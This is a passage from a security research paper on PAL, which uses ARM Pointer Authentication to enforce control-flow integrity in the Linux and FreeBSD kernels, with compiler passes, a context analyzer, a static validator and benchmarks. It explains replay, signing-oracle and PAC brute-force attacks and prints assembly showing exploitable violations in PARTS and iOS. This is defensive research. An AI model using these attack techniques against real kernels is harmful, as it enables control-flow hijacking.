function type, PAL leaves them intact (i.e., no authentication
and re-sign), as the dereferenced values are already signed at
their generation and the integrity will be ultimately checked
at use. Note that such behaviors can be abused as a signing
gadget by an attacker and our static validator is designed to
identify such behaviors (see §4.5).

An indirect call in C uses (USE) a signed function pointer
so PAL enforces the authentication and restores it to the
original form right before taking it into the target function. In
addition, PAL handles two exceptional situations to support
the practical use of function pointers in the kernel: function
pointer comparison and type casting to an integer.
Protecting backward edges. GEN and USE of backward edges
are semantically clear: GEN at a function call and USE when
returning back. To handle this case, PA provides two dedicated
instructions, namely, paciasp and autiasp, which protect a
link register that stores the address to return after the function
call by using the address of the local frame as the context.

Unfortunately, under PAL’s strong threat model, the cur-
rent scheme is vulnerable to a replay attack, meaning that an
attacker can craft a signed return address by reusing the stack
memory (i.e., repeatedly creating new tasks). To mitigate it,
PAL simply combines a stack frame and a hash of the current
function name as a context. This ensures that the signed return
addresses cannot be reused across either different functions
or different stack layouts.
Avoidance of user space pointers. PAL recognizes function
pointers from user space and selectively opts out of signing
and authentication. In theory, it is difficult to distinguish these
two types of pointers from a compiler’s perspective, but PAL
can recognize them based on existing idioms (e.g., __user in
Linux) at their type declarations and properly propagate them
in our instrumentation.

4.2 Refined Context Generation
The granularity of protection provided by PA depends on the
way the context parameter is generated (at GEN) and used (at
USE). For example, in terms of substitution attacks (see §3.2),
one leaked signed pointer can be used at any USE of the same
context parameter—to be precise, the key should be equal as
well, but all pointers in the same address space (i.e., kernel
space) will be signed by the same key.

There are two known techniques for refining the context
parameter further, one using its type signature (static) [8,
47] and another using the stack pointer (dynamic) [8, 66].
Although both approaches can be applied without changing
the original source code, they are still far from ideal: 1) they
are too coarse-grained (e.g., one function type is used 470
times in Linux) and 2) show high false positives (e.g., 6.5k
authentication places using zero as a context in iOS 13).

PAL provides two static ( 1 , 2 ) and two dynamic ( 1 , 2 )

1 struct irqaction {
2 irq_handler_t handler;
3 const char *name;
4 ...
5 /* This is an auto-generated annotation by PAL */
6 } __attribute__((objbind("name", "handler")));
7

8 int request_percpu_irq(unsigned int irq,
9 irq_handler_t handler,

10 const char *devname, ..) {
11 irqaction *action;
12 action->name = devname;
13

14 /* [GEN (typesig)]:
15 * action->handler = pac(handler, hash(typeof(handler)))
16 * [GEN (objtype)]:
17 * action->handler = pac(handler, hash(typeof(handler)) \
18 * || hash(typeof(*action)))
19 * [GEN (objbind)]:
20 * action->handler = pac(handler, \
21 * pac(hash(typeof(handler)) \
22 * || hash(typeof(*action)), \
23 * (u64)(action->name)))
24 * [USE]:
25 * handler = aut(handler, hash(typeof(handler))) */
26 action->handler = handler;
27 ...
28 }

Figure 3: Example of contexts based on typesig, objtype and
objbind refinement techniques for a IRQ handler. All GEN and USE
will be automatically instrumented given the annotation in line 5,
automatically generated by the context analyzer.

refinement techniques for context generation:
1 Build-time context: typesig. Our baseline context for
a function pointer is its type signature—a hash of its type
declaration, similar to PaX RAP [65]. With typesig as a
context in GEN and USE, it effectively implements a type-based
CFI (see Figure 3), or the 1-layer confinement of MLTA [54].
2 Build-time context: objtype. A type signature can be fur-
ther refined with a corresponding owner’s type when a func-
tion pointer is owned by a kernel object (e.g., irq_handler in
irqaction in Figure 3). For example, one common function
signature (void (*) (void *)) is used in 170 different indi-
rect calls (USE) and introduced from 200 different function
designators (GEN) in Linux. With this refinement—effectively
the 2-layer confinement of MLTA [54]—the signatures can
be refined to 35 different contexts during compilation.

PAL can further refine the context generation to the gran-
ularity of each function pointer instance at run-time—each
instance of the kernel objects is assigned with a unique con-
text for protection. The key idea is to take advantage of the
idiomatic design patterns used in the OS kernels, which are
commonly enforced at code reviews or as part of the main-
tenance cycle [48]. And the idea has been fully proved by
PAL, especially the context analyzer (see, §6.4). In particular,
PAL provides this scheme as two annotations to capture com-
mon invariants of a relationship between a function pointer
to an object (objbind) and an invocation context (retbind).
The context analyzer can automatically generate these annota-
tions so that developers do not need to worry about how they
supplement these annotations properly.
1 Run-time context: objbind.

USENIX Association 31st USENIX Security Symposium    93



Annotation: objbind({&}?field, {*|fptr}+)

This specifies which field or its address (&) should be
bound to which function pointers (one or more, or all with
*) in an object’s declaration.

As an embedded function pointer is often invariant over the
lifetime of its owner object, an objbind annotation indicates
the compiler has to bind the authenticity of the function
pointer to various properties of struct. Once a struct is
annotated at its declaration, all objects of the struct will be
instrumented to have a dynamic context, thus uniquely bind-
ing the function pointer to the created object (GEN of the mem-
ber function). For example, irq_handler() can be bound to
the device’s name (i.e., a pointer to a static string) as in Fig-
ure 3, limiting the target places for the leaked irq_handler()
to the one it was originally in. Accordingly, it can be viewed
as the 3-layer confinement of MLTA [54].

PAL implements a generic technique to composite multi-
ple contexts together by chaining the result of a previous pac
as a context argument of the subsequent pac (see Figure 3).
This technique, unlike simple xor of multiple contexts, pro-
vides better security, especially when an attacker chooses an
arbitrary value as one of the context (e.g., a device name).

At a glance, one would imagine binding all the embedded
function pointers in its object’s base pointer, but this results in
too many false negatives for automation—for example, when
an object is memcpy()-ed, all signed function pointers should
be properly resigned for the new context, namely, the new
object pointer as well as its types. This not only is fragile
but incurs high performance overhead for memcpy(), which is
commonplace in Linux (see Table 4).
2 Run-time context: retbind.
Annotation: retbind({params}+)

This specifies its calling context is bound to which function
arguments (params) at the function’s declaration.

A retbind annotation indicates the compiler has to bind a
function pointer to its calling contexts2, which is effective in
protecting a function pointer not embedded in its owner object.
One such design pattern is reference counting in Linux—
kref where its release() function is not stored as part of the
object but should be provided together with the kref_put()
function for reclamation (see Figure 4). Note that this pattern
saves a lot of memory uses, as kref instances outnumber their
invocation sites.

As kref is frequently used in Linux (e.g., over 110 re-
lease functions and 127 call sites), an attacker would sub-
stitute any counterfeited function pointer (e.g., via signing
oracle ( §3.2) or leaked pointer) to any one of such candidates.
With retbind, a function pointer becomes unique per calling
context—the leaked release pointer can be used only at the
legitimate calling context.

Note that PAL currently is able to handle GEN that occurs

2 This means the context where a function is being called from, not PA’s

1 struct kref { refcount_t refcount; };
2

3 /* [GEN]
4 * release = pac(release, hash(typeof(release))
5 * ^ each call site’s address) */
6 kref_put(&rbdc->kref, rbd_client_release);
7 kref_put(&device->kref, drbd_destroy_device);
8

9 int
10 /* This is an auto-generated annotation by PAL */
11 __attribute(retbind(release))
12 kref_put(struct kref *kref, void (*release)(struct kref *kref)) {
13 ...
14 /* [USE]
15 * release = aut(release, hash(typeof(release))
16 * ^ __builtin_return_address(0)) */
17 release(kref);
18 }

Figure 4: Example of retbind in protecting kref with PAL. All
GEN and USE will be automatically instrumented given the annotation
in line 10, automatically generated by the context analyzer.

only in a depth-0 calling context (e.g., kref_put()). But, it
can happen in more depth, in other words, there might exist
several layers of wrapper calls to invoke a specified function.
For example, inode_insert5() in Linux contains three call
sites in its own calling context (depth-0) and 33 call sites in
the callee’s context (depth-1). We plan to refine such calls as
future work.
Overhead comparison of contexts. typesig has the small-
est overhead, just one mov and one pac/aut operation. Com-
pared to typesig, objtype takes one more bitwise operation
to concatenate. objbind needs one extra memory access to
a chosen field. In many cases, the access utilizes memory
locality enough because the structure that the field belongs
to would be used. Finally retbind does not require any ad-
ditional overhead in signing but, in authentication, one more
memory access to the stack frame.

4.3 Context Analyzer
PAL provides a context analyzer that spots adequate places
for adopting run-time contexts with the given kernel code
and the desired precision level. Through an inter-procedural
analysis on the IR level, the context analyzer automatically
annotates places having lower precision even with build-time
contexts.

For objbind, the context analyzer is based on the sound
assumption that the structure with the larger allowed targets
likely has the higher diversity score that represents each fields’
compile-time diversity (see Table 6 for their correlation). It
first estimates each structure’s score by simply counting the
number of assignments of a new constant or a stack address
or the address of heap objects. The rationale behind choosing
these as criteria is twofold– 1) a new constant intuitively
means more diversity in a field value, and 2) stack and heap
address would have sufficient randomness to be used as run-
time contexts if they are newly allocated (i.e., current stack
frame address or address that comes from heap allocator).

As a running example, Figure 5 shows how to estimate
the s1.p’s diversity score. First, the context analyzer collects
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1 struct s1 { char *p; void (*fp)(void); }
2 void init_s1(struct s1 *s, char *p, void (*fp)(void)) {
3 s->p = p;
4 s->fp = fp;
5 }
6 void f1(char *p) {
7 struct s1 a, b, c, d;
8 init_s1(&a, "a", h1); // score += 1 (new constant)
9 init_s1(&b, "b", h2); // score += 1 (new constant)

10 init_s1(&c, "b", h2); // ; not new constant
11 init_s1(&d, p, h3); // ; cannot be determined
12 }
13 void f2(struct s1 *s, struct o1 *o) {
14 s->p = o->p; // score += o1’s score
15 s->fp = o->fp;
16 }
17 void f3(struct s1 *s) {
18 char name[64] = "c";
19 init_s1(s, name, h3); // score += 1 (stack address)
20 }

Figure 5: A running example to estimate diversity score for objbind

all assignments related to s1 structure (line 3, 14) and starts
data-flow analysis at each of them. Specifically, at line 3, a
data-flow analysis starts on p across function boundaries as
p cannot be resolved within init_s1(), so it continues using
a worklist algorithm until the value of p is statically deter-
mined. As a result, the diversity score will increment at line
8, 9, 19, but not at line 10, 11. In case a score depends on
other structure’s (line 14–o1 object), it first estimates o1.p’s
score and accumulates to the score. Lastly, the context ana-
lyzer starts to annotate objbind to structures with the highest
diversity score first until they meet the given precision level.
(see Appendix A for the more detailed algorithm)

For retbind, the context analyzer identifies functions that
take a code pointer as input and consumes it in place, then
estimates the number of call sites (e.g., for kref (Figure 4),
the function is kref_put(), and its number of call sites is
127.) Lastly, the context analyzer starts to annotate retbind
to functions with all of the related call sites.

Besides automatic annotation, the context analyzer pro-
vides a CFI precision report of the kernel (see, Table 2). By
analyzing the report, developers can identify unresolved low-
precision contexts and refine them via manual annotations.

4.4 Kernel Infrastructure
Under our threat model where an attacker can launch arbitrary
memory reads and writes at arbitrary moments, the kernel
should take various design decisions into special considera-
tion: 1) making sure that plain function pointers are neither
stored in memory nor unintentionally spilled from register
files via preemption, 2) effectively mitigating the brute-force
attacks, 3) managing the keys’ life-cycle without ever storing
them in memory.
Preventing preemption hijacking. To prevent TOCTOU
(§3.2), caused by spilled function pointer in preemption, PAL
should sign/authenticate the preemption context while ensur-
ing that it never acts as a signing oracle (§3.2) nor remains
vulnerable against a replay attack (§3.2). We achieve that by
introducing two new techniques as follows:

1) Secure signing via key-chaining technique. A simple
approach to sign the entire preemption context is signing each
register individually. Unfortunately, it is vulnerable against
a replay attack because an attacker can selectively substitute
registers in the preemption context for control-flow hijack-
ings. To overcome this problem, PAL uses the key-chaining
technique that signs each register with the previously signed
code as a context in the chain (see, Figure 6).
2) Timebind: using a timestamp as a PA context. The
above scheme prevents attackers from modifying individual
fields of the execution context, but one can replace the whole
preemption context, similar in concept to a replaying attack.
There are three potential defenses: 1) Similar to typesig, we
can use a certain signature presenting the preempt context as a
PA context. However, it leaves a large number of substitution
targets [12] since all preeempt context are signed using the
same PA context; 2) Similar to objbind, we can use the base
address of the preemption context as a PA context. However,
this approach still leaves a universal signing oracle because
an attacker would control the preemption moment to generate
a signed register value that can be used to substitute the same
register field on the target preemption context allocated at the
same memory region (see Appendix B for more detail); 3) An-
other solution to avoid the signing oracle is to simply dedicate
another PA key (i.e., pacga) for signing and authenticating
the preemption context, leaving no other keys for userspace
or the hypervisor.

To avoid the signing oracle without an additional PA-key,
PAL introduces a notion of timebind that uses an unmodifi-
able one-time value, timestamp and the base address of the
preemption context, to generate a unique context parameter
for signing (Figure 6). To get a timestamp that is resilient
against the forgery, PAL uses the Physical Timer Count on
Aarch64 that monotonically increases once the system boots
but cannot be changed by system software. This scheme pre-
vents the replay attack because the context will be different
at every time and it requires two additional fields (pac and
time_pac) in the preemption context.

Note that if an attack gets to know the two additional fields,
the security of this scheme will not be negatively affected
because the attacker still does not know the PA key.
Mitigating brute-force attacks. As the number of bits allo-
cated for PAC is physically limited (15 bits), an attacker can
launch a brute-force attack against the PA-protected indirect
calls. Since it is not feasible for the kernel to simply halt the
entire system upon authentication failure, an attacker would
just enumerate 215 possible PACs, which takes a few min-
utes (e.g., 15-min in Google’s PoC [12]). To mitigate such a
scenario, PAL senses the forgery attempts and backs off the
execution with a delay increasing exponentially at every trial
based on the context; this means an attacker-chosen context
with a randomly chosen PAC would delay the testing oracle
exponentially. An attacker might change the context to bypass
the back-off delay for incorrect authentication, but it does not
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1 struct preemption_context {
2 unsigned long regs[MAX_REGS]; /* both general-purpose and
3 * special-purpose regs */
4 unsigned long time_pac; /* pac(base-addr, time) */
5 unsigned long pac; /* pac for the entire object */
6 };
7

8 void aut_pctx(struct preemption_context *pctx) {
9 unsigned long ptr;

10 unsigned long pac = pctx->time_pac;
11

12 for (int i = MAX_REGS - 1; i >= 0; i--) {
13 ptr = pctx->regs[i];
14 pac = pacib(ptr, pac);
15 }
16 if (pac != pctx->pac) { /* authentication failure */ }
17 }
18

19 void pac_pctx(struct preemption_context *pctx) {
20 unsigned long time = read_sysreg(cntpct_el0);
21 unsigned long ptr = (unsigned long)pctx;
22

23 unsigned long time_pac = pacib(ptr, time); /* timebind */
24 unsigned long pac = time_pac;
25

26 for (int i = MAX_REGS - 1; i> -1; i--) {
27 ptr = pctx->regs[i];
28 pac = pacib(ptr, pac); /* chaining */
29 }
30 pctx->time_pac = time_pac;
31 pctx->pac = pac;
32 }

Figure 6: Simplified pseudo code to explain the use of key-chaining
and timebind techniques to prevent preemption hijacking.

increase the likelihood of selecting the correct PAC for the
new target address.

The back-off history and strategy need special care to se-
curely mitigate the outstanding attacks—for example, an at-
tacker can try to manipulate the hashmap that records the
number of authentication failures to render the back-off inef-
fective. To address this situation, PAL manages the number
of authentication failures per context on a read-only mem-
ory region and temporarily makes it writable to update for a
short window of time while halting the entire machine. This
strategy not only prevents a concurrent attack from forging
the faulting history (as halted), but also does not exhibit the
overhead to the normal execution (such an event would not
happen except for under attack).

Key management. The security of PA relies on the secrecy
of its keys. Given a leaked key, an attacker can counterfeit
a function pointer via cross-EL attacks because its signing
algorithm is publicly known. In our threat model, an attacker
in user space can forge a code pointer to jump to an arbitrary
location, say an ROP chain, in the kernel. Finally, the attacker
can steal data that they want via arbitrary read.

Therefore, once the PA keys for kernel are generated at boot
time, PAL guarantees that they are never stored into memory
during execution to protect the key from an attacker capable
of reading an arbitrary memory region. For key generation,
PAL leverages the randomness provided by the bootloader
via a device tree and utilizes the HW-based random generator
if available.

To avoid storing the PA keys for the kernel, another im-

1 .macro kernel_entry, el
2 mrs_s x0, SYS_APIBKEYLO_EL1
3 mvn x0, x0
4 msr_s SYS_APIBKEYLO_EL1, x0
5 mov x0, 0

1 .macro kernel_exit, el
2 mrs_s x20, SYS_APIBKEYLO_EL1
3 mvn x20, x20
4 msr_s SYS_APIBKEYLO_EL1, x20
5 mov x20, 0

Figure 7: PAL inverse all bits of the PA key in place to prevent
cross-EL attack (§3.2) at context switching where preemption is
disabled.

portant design decision is that user spaces do not share the
same PA-keys as kernel space, meaning the kernel and user
space have a dedicated set of PA-keys—B (APIB and APDB)
for the kernel and A (APIA, APDA, and APGA) for the user
spaces. Moreover, at context switching, PAL inverts all bits
of the key in place (see Figure 7)—only the kernel can access
the key and user programs can sign pointers with the inverse
key but cannot infer the original key. In conclusion, the PA
keys for kernel do not need to be stored for context switching.

PAL dedicates each key to the kernel and user space, which
restricts the number of available PA-based protection domains
to only one at a time. To avoid this problem, CPU design-
ers would consider either using independent sets of keys per
execution domain or adding per-domain nonces in the key
assignment of each execution level.
Loadable kernel module support. PAL also implemented
the support of module loading and unloading while providing
the PA-based protection. Similar to what PAL generally treats
global variables (§4.1), it signs the function pointers in the
module object (e.g., init() and exit()) as well as variables
used in the module before the loading process starts. The
modules are required to use PAL in their builds to prevent
them from exploiting.

4.5 Static Validator
The correctness of existing PA-based solutions is largely de-
pendent on the correctness of the compiler’s back-end logic
like optimizations and machine-code generation. Due to the
complexity of whole compiler code, it is an error-prone task
for a compiler writer to guarantee that PA-related concerns
written at the higher layer are preserved, even after many
stages, at the lowest layers like produced binary. For exam-
ple, Google Project Zero recently discovered a security hole
in iOS [11] where an address of a jump table for a switch
statement was hoisted out of a for-loop and stored in memory
due to the large number of registers used in the for-loop. In
our threat model, an attacker can hijack the control-flow by
crafting the stored address of the jump table at the moment.

PAL’s security, however, relies on the correctness of the
static validator, which independently certifies that the pro-
duced binary respects a set of security-critical invariants and
assumptions taken during the compilation. This design sep-
aration greatly simplifies the implementation of PAL, using
a higher IR layer (i.e., GIMPLE in the GCC) without being
concerned about the potential interference from the back-end
optimizations or machine code generation. In addition, our
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1 # violation-1: bgmac_chip_reset(...) from PARTS
2 mov x19, x0 # x0: first arg of this function
3 ldr x21, [x19, x8]
4 blr x21 # unprotected
5

6 # violation-2: sort(void (*swap_func)()) from PAL
7 autib x2, x0 # x2: swap_func
8 stp x1, x2, [x29, 144] # spilled
9 ....

10 ldr x2, [x29, 144] # reused
11 blr x2
12

13 # violation-3: from iPhone’s CFI
14 mov x19, x2 # 3rd arg of function
15 ldr x21, [x19, 240] # load an attacker-chosen pointer
16 pacia x21, x8 # sign
17

18 # violation-3: from iPhone’s CFI
19 mov x19, x0 # 1st arg of function
20 pacia x19, x20 # sign
21

22 # violation-3: usb_stor_CB_transport() from PARTS
23 adrp x22, 0xffff0000108cf000 # x22: callee-saved register
24 bl 0xffff0000108cf320 # call usb_stor_msg_common()
25 pacia x22, x23 # sign
26 ....
27 #0xffff0000108cf320: usb_stor_msg_common()
28 stp x22, x21, [sp, 48] # spilled
29 ....
30 ldp x22, x21, [sp, 48] # load an attacker-chosen pointer
31 ret

Figure 8: 1 , 2 , 3 violations from PARTS [47] and iOS and PAL.
An attacker can break PA with an attacker-chosen pointer by control-
ling either function arguments or spilled stack memory.

static validator can be used to evaluate other PA-based solu-
tions, such as Apple’s and PARTS [47].

Our static validator checks if four principles that PAL as-
sumes during the compilation are still preserved after the
back-end optimization:

1 Complete protection. All indirect branches are authen-
ticated and the result is checked prior to use (line 1 in
Figure 8).

2 No time-of-check-time-of-use. Raw pointers after au-
thentication (aut) or clearance (xpac) are never stored
back in memory (line 6 in Figure 8).

3 No signing oracle. There should be no gadget that signs
attacker-chosen pointers (line 13, 18 in Figure 8).

4 No unchecked control-flow change. All direct modifi-
cations of program counter register must be validated.
The validator correctly guides us to handle special cases
such as scheduling, signal handling, and preemption
(see §4.4).

Algorithm. It performs a simple intra-procedural analysis
with CFG recovery and loop detection given a binary im-
age. It first scans all instructions within a function and runs
VALIDATE_BB (Figure 9) on PA instructions.

With Figure 8 as a running example, we first describe the
cases in which the analyzer can detect violations within a ba-
sic block. To validate 1 and 3 , it invokes VALIDATE_BB on
blr and pacia, respectively (line 4, 16 in Figure 8) with x21
as a symbolic register sym in Figure 9. Then, VALIDATE_BB
attempts to find the origin of x21 in a backward recursive way
by exploring all possible paths. Conservatively, due to ldr

(line 3, 15 in Figure 8) in a previous path, it reports a violation
(line 4 in Figure 9). If sym is originated from the function pa-
rameters (line 19 in Figure 8), VALIDATE_BB would conclude
as a potential violation as it cannot be resolved even after
exploring the whole function. To validate 2 , it starts from
autib (line 7 in Figure 8) with x2 as sym and attempts to find
the uses of x2 in a forward recursive way, and then reports
a violation because of stp (line 8 in Figure 8). As a special
case, to detect the violation at line 22 in Figure 8, it checks if
a call instruction places between address calculation (line 23)
and PA instruction (line 25). This trick enables detecting such
a violation without inter-procedural analysis but entails false
positives because a register containing PA-relevant values
might not be stored in the memory.

The validator, of course, can work across basic blocks in
the following cases– 1) if sym cannot be resolved within a
basic block (i.e., reaching line 18 in Figure 9), the validator
recursively invokes VALIDATE_BB on all predecessors of the
current bb (line 21 in Figure 9), and 2) If we encounter any
of branch instructions jumping to somewhere in the current
function before sym is resolved, it invokes VALIDATE_BB on
the target basic block. (line 17 in Figure 9)

Results. We applied static validator to PARTS, iOS kernel,
and PAL itself, as a result, confirmed 15/5/0 violations respec-
tively. We found 7 violations during PAL development, 1/1/5
for 1 / 2 / 3 respectively, and fixed all by modifying either
our compiler pass or kernel code.

False positives. Since it is infeasible to implement perfect
binary analysis on the kernel, the validator reported about 100
false positives, and their root causes were mainly due to– 1)
too complicated control flows in the kernel, meaning that too
many basic blocks are involved in a PA instruction, or 2) the
absence of inter-procedural analysis that is needed to detect
the violation at line 22 in Figure 8, or 3) uncertainty of the
type of memory to be loaded (e.g., if x19 at line 15 in Figure 8
points to read-only memory, that is not the violation).

The task to eliminate those took two days by a person who
is knowledgeable with binary analysis. We plan to improve
our static validator to reduce such false alarms as future work.

Potential to extend coverage. At present, our validator aims
to only detect misuses of function pointers. Adversaries how-
ever can turn their focus to compromising contexts, another
threat to break PA-based CFIs. Since the techniques used in
the validator would be applicable to detect that threat, we plan
to extend the validator as future work.

5 Implementation
We implemented PAL’s instrumentation by adding a new
GIMPLE pass (after the CFG pass) on the GCC 7.4.0 as a
plugin. Also, we put very small modifications to the GCC, in
order to interpose on function prologues and epilogues for the
backward-edge CFI. We chose the GCC as a first target, to ac-
tually deploy the CFI protection to our commercial products,
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VALIDATE_BB (bb,si,sym)
Input :bb: a basic block to be inspected

si: a first instruction to be inspected in bb
sym: a symbolic register containing PA-relevant value

Output : true if no violations, otherwise false
Symbol : A: arithmetic/bitwise instructions L: load instructions

C: address calculation instructions P: predecessors of bb
i∗op: source/destination register operand of i

for i← si; i ̸= bb. f irst(); i← i.prev(); do
1 if i ∈ A & idestop = sym then
2 sym← isrcop

3 else if i ∈ L & idestop = sym then
4 return false;

5 else if i ∈C & idestop = sym then
6 return true;

7 else if i = "auti*" & idestop = sym then
8 return true;

9 else if i = "xpaci*" & idestop = sym then
10 return false;

11 // call instruction
12 else if i = "bl" then
13 return false;

14 // jump or conditional branch instruction
15 else if i = "b" then
16 target← i.target
17 return VALIDATE_BB(target, target.end(),sym);

18 if P =∅ then
19 return false;

20 foreach bb ∈ P do
21 if not VALIDATE_BB(bb,bb.end(),sym) then
22 return false;

23 return true;

Figure 9: The core algorithm to verify 1 , 3 and 4 . The algorithm
for 2 is explained in §4.5.

Components Lines of code

the GCC plugin 3,632 LoC (for forward-edge CFI)
the GCC 127 LoC changes (for backward-edge CFI)
Linux 491 LoC changes
objbind 87 structs
retbind 79 functions

FreeBSD 258 LoC changes
objbind 25 structs
retbind 3 functions

Static validator 848 LoC (python)
Context analyzer 1943 LoC (c++)

Table 1: The complexity of PAL’s components (in LoC).

such as appliances, IoT devices, and smartphones, that rely
only on the GCC. We also implemented instrumentation in
LLVM, but it supports only a subset of PAL features. (e.g.,
typesig).
Kernel modifications. We made minimal changes to Linux
(491 LoC) and FreeBSD (258 LoC). We manually fixed incor-
rect declarations of function types (e.g., dummy console and
filler) similar to Android’s patches to support CFI [39, 67].
The context analyzer automatically adds 166 annotations to
Linux and 28 annotations to FreeBSD, for contexts having
more than 100 targets even when objtype is used (see Table 2).
Preemption hijacking protection. We prevent preemption

hijacking in two places in Linux: 1) el1_irq() called when an
IRQ occurs at the kernel mode, and 2) el0_irq() called when
an IRQ occurs at the user mode. In 1), we sign and authenti-
cate not only all general-purpose registers (i.e., x0–x30) but
also some special-purpose registers (e.g., elr_el1, spsr_el1)
as in Figure 6. In 2), we simply perform sanity checks on
special-purpose registers to prevent the hijacking to kernel
space instead of returning back to user space. This protection
cannot be exploited as a signing oracle (§3.2) because arm64
guarantees that all registers are preserved when an interrupt
is raised and Linux does not allow nested interrupts on both
IRQ handlers mentioned above.

Backward-edge protection. In PAL, creating a context for
backward edge protection requires an operation with a con-
stant and stack pointer register(sp) that is not allowed direct
uses as an operand in Aarch64.

For this reason, function prologues (left-side) and epilogues
(right-side) use two additional registers—a register as an
operand of combine instruction (bfi) and a register as a con-
text for PA—as follows.

1 mov x9, sp
2 mov x10, hash(FUNC_NAME)
3 bfi x9, x10, 32, 32
4 pacib lr, x9

1 mov x9, sp
2 mov x10, hash(FUNC_NAME)
3 bfi x9, x10, 32, 32
4 autib lr, x9
5 ret

Note that those registers should be caller-saved registers
(e.g., x9, x10) to protect register spilling causing performance
overhead.

Supporting Linux. We found developer guides that motivate
to devise objbind. Linux kernel has provided design patterns
for inside components (e.g., device driver [48]), strongly rec-
ommending developers to use special functions and structures.
As a result, most code consists of some patterns, which helps
the context analyzer refine contexts easier to reduce allowed
targets in Linux.

Supporting FreeBSD. We found two interesting function
types—kobjop_t and sy_call_t—used for better software
abstraction. In other words, function pointers are stored as dif-
ferent types from the actual type of pointed function. We also
found 125 and 342 function types, stored after type-converted
as kobjop_t and sy_call_t respectively, which means that
FreeBSD allows many allowed targets. In PAL, the context
analyzer automatically applied objbind to refine these func-
tion types.

Context Analyzer. The context analyzer, written in C++, first
takes kernel codes and builds the kernel. Afterward, it extracts
an LLVM bitcode file for the fully linked kernel binary (e.g.,
vmlinux for Linux) to enable inter-procedural analysis for a
whole, and starts the static analysis.

6 Evaluation
In this section, we evaluate PAL’s approach in four key areas:
Q1. How does our approach compare with known PA-based

CFI solutions? (§6.1)
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#Tgts Google’s BTI
Linux w/ PAL

typesig +objtype +objbind
+retbind

≤ 5 55.0% 0.0% 84.9% 88.6% 90.8%
> 100 7.0% 100.0% 2.8% 1.6% 0.08%

Max 1,153 59,300 35,264 30,622 207

Table 2: The precision of PAL in terms of the number of allowed
indirect call targets. We show ≤ 5 and > 100 in comparison with
reported Google’s CFI applied to Android 4.14 [68]. We also added
ARMv8.5 BTI scheme for comparison. It shows PAL can effectively
enhance the precision of the in-kernel CFI.

Q2. How do we validate its security guarantee and the correct
functionality of PAL-enabled kernels? (§6.2)

Q3. How much performance overhead does PAL impose on
user applications and the kernel? (§6.3)

Q4. How do we check the soundness and effectiveness of our
context analyzer? (§6.4)

Experimental setup. We selected two target devices, Mac
mini (M1) and Raspberry Pi 3 (Pi3), to represent a high-end
and a low-end ARM device respectively. We applied PAL to
Linux (Asahi Linux [1] customized for the M1 chip-based on
Linux 5.12.0-rc1 [2], and Linux 4.19.49 for Tizen 5.5) and
FreeBSD (FreeBSD 11.0-CURRENT), and evaluated them on
two real devices and one virtual platform: Mac mini for Asahi
Linux and the Pi3 for Tizen 5.5 and QEMU for FreeBSD. We
reported the real performance on the M1 (using actual PA
instructions). But for Pi3, because of a lack of PA support,
we estimated the PA’s performance by measuring real cycles
taken to execute each PA instruction on both Apple A12 and
the M1 on userspace (Table 5). To provide a realistic kernel
configuration, we adopted the union of Asahi’s and arm64’s
default config for Linux 5.12.0-rc1. Also, we used the default
configuration for Tizen 5.5 and FreeBSD.

6.1 Comparing with Other Approaches
We first compare the precision of PAL’s protection with two
other state-of-the-art CFI schemes that have been deployed on
Android. Then, we compare ours with two other PA-based pro-
tection schemes, namely, PARTS [47], and iOS’s CFI (since
iPhone XS). Last, we compare PA-based solutions in terms
of PA context changes.
Allowed targets for indirect calls. The precision of forward-
edge CFI can be estimated by counting the number of allowed
targets for each indirect call. In PA, an indirect call can be

taken to any location if the function pointer is signed by the
same context used in the call site. Since our static validator
checked that there is no signing gadget embedded in the final
binary, the precision can be measured by simply counting the
number of pointers signed by the same context. Table 2 shows
the total number of allowed targets by each indirect call—if
there are two call sites (AUT) and five different calls (PAC) using
the same context, we conservatively estimated its allowed set
to 10. We ran the context analyzer with 100 allowed targets
as the precision level and used the automatically annotated
kernel code that the analyzer produced.

Compared to the state-of-the-art CFI protection applied
to Android [68], PAL improves the precision of CFI signifi-
cantly: the number of indirect calls with fewer than five targets
increases by 5.9% (to 90.8%) and the ones with more than
100 targets decreases from 2.8% to 0.08%. Most important,
only 3 contexts are included in > 100 after applying both
objbind and retbind.

We reference estimations from Google’s public report on
the precision of the deployed CFI on recent Android [68]. The
differences in Google’s type-based CFI and our typesig are
due to the version differences of each kernel– 4.14 in Google’s
and 5.12.0-rc1 in PAL– as well as PAL’s large kernel con-
figuration. As a comparison, we also added the estimation
of ARM’s hardware-based CFI, BTI (Branch Target Identi-
fication) introduced in ARMv8.5 [52], which only limits all
indirect transitions to the function entry.

Table 2 also shows the effectiveness of refined context
generation used in PAL. Our static context (i.e., objtype)
reduces the overall number of target sets while the run-time
contexts (i.e., objbind and retbind) effectively refine the
most common call targets (from 30622 to 207).
Context diversity on indirect calls. To compare with other
PA-based solutions, we measured the CFI precision by count-
ing the number of indirect calls sharing the same context
(shown Table 3). For a fair comparison, we applied PARTS to
Linux 5.12.0-rc1 and performed binary analysis on the latest
iOS firmware image. Compared to PARTS, PAL improves the
proportion of small set (≤ 5 contexts) from 20.7% to 94.9%
and reduces the proportion of large set (> 100) from 18.4% to
near zero. Compared to iOS3, PAL also effectively refines the
attack targets: it reduces the proportion of the large set from
21.2% to near none while eliminating using the zero context
(i.e., 6513 indirect calls using the zero context in iOS). Note
that iOS’s proportion of the large set (21.2%) is due to not
only the zero context but also the context containing offsets
for jump tables.
Context changes. PA-based solutions are often required to
change the context used to sign a pointer: e.g., type-casting
on a function pointer requires authentication with a previous
context and re-signing with a new context. For PA solutions
relying on static contexts, this task is straightforward, but for

3 We treated dynamic contexts as an unique context, so counted in ≤ 5.
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#Contexts PARTS iOS kernel PAL

≤ 5 20.7% 62.2% 94.9%
> 100 18.4% 21.2% 0.0%

Max 353 6,513 70

Table 3: The diversity of context used in PAL, iOS and PARTS in
terms of the number of indirect calls that share equal context.

Context PARTS iOS kernel PATTER PALproperty C C++

Build-time typesig zero namesig typesig, objtype
compatibility ✕ ● ● ●
security ✕ ✕ ● ●

Run-time address address field
compatibility ● ● ●
security ● ✕ ●

Table 4: Comparing PA-based forward-edge protections in terms of
context changes. address means the storage address of a function
pointer to be signed/authenticated; namesig means a hash of mangled
function name used in iOS for C++ V-Table entries [43]; PAL’s
approach is not only compatible with memcpy() but also provides
finer protection by utilizing both static and dynamic contexts.

ones using dynamic contexts, this conversion is often implicit
and non-trivial to handle (see Table 4). For example, when
an object is copied with memcpy() or memmove(), the member
functions are no longer considered properly signed with the
context (e.g., the base address of the object).

For this reason, iOS uses zero context for all C function
pointers as well as C++ V-Table pointers (not entries inside
the table) [43], which can be vulnerable to replay attack as
